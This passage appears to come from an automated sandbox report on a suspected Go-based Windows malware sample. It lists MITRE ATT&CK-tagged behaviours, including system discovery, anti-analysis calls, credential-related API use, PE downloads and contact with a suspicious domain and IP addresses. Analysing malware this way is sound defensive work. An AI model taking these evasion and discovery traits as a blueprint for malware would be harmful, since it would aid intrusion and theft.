\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"\n Found system information discovery API: \"GetSystemInfo\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"\n Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"\n Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"ent.postMessage(JSON.stringify({eventType:'web_app_open_tg_link',eventData:{path_full:\"\\/bj00tyr\"}}),'https://web.telegram.org');}}catch(e){}\" (Indicator: \"postmessage\"; Source: \"00000000-00007980.00000000.140767.7E110000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007980)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007980)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007980)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007980)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$28","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"file/memory contains long string with (Indicator: \"GetVersion\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00007980-00000C17-1186645391","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Telegram Domain in TLS SNI (telegram .me)\" (SID: 2071572, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"syscall.GetCommandLine\" (Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found string \"syscall.procGetCommandLineW\" (Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00007980.00000000.140767.00092000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$29","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"CreateDirectoryA\" with parameter %ALLUSERSPROFILE%\\aadb65be3 (UID: 00000000-00007980)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2b","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"telegram.me\"\n \"fo.333vip.org\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.154.167.99:443\"\n \"104.21.93.196:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"CreateFile\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"GetLastError\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\" (Indicator: \"user-agent: \"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$2e","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$2f","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 224A0000\n \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 21530000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 231A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" was detected as \"Go\" and name: \"Compiler\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" has an writable section named \".data\"\n \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" has an writable section named \".idata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" file has an entrypoint instructions - \"jmp\t0x461c40,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbp,mov\trbp, rsp,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x4b7000\" greater than 0x100000\n Raw size of \".rdata\" is \"0x699a00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x4b6eab\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x6999f8\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\"Go build ID: \"YXQ14jtqNSi6Zc00c9dZ/NSkXrNyzHvYCojpMDWRf/vDHgxwz10JnE2d3aiU42/6BY-jvdtEVCRfo0brnxN\"\" (Indicator: \"Go build ID: \"YXQ14jtqNSi6Zc00c9dZ/NSkXrNyzHvYCojpMDWRf/vDHgxwz10JnE2d3aiU42/6BY-jvdtEVCRfo0brnxN\")\" in Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-74","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"fo.333vip.org\"\n \"telegram.me\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$31","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"syscall.LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"syscall._LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"syscall.procLoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" queries basic process information of the \"C:\\7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (UID: 7980)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" reads file \"c:\\7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n 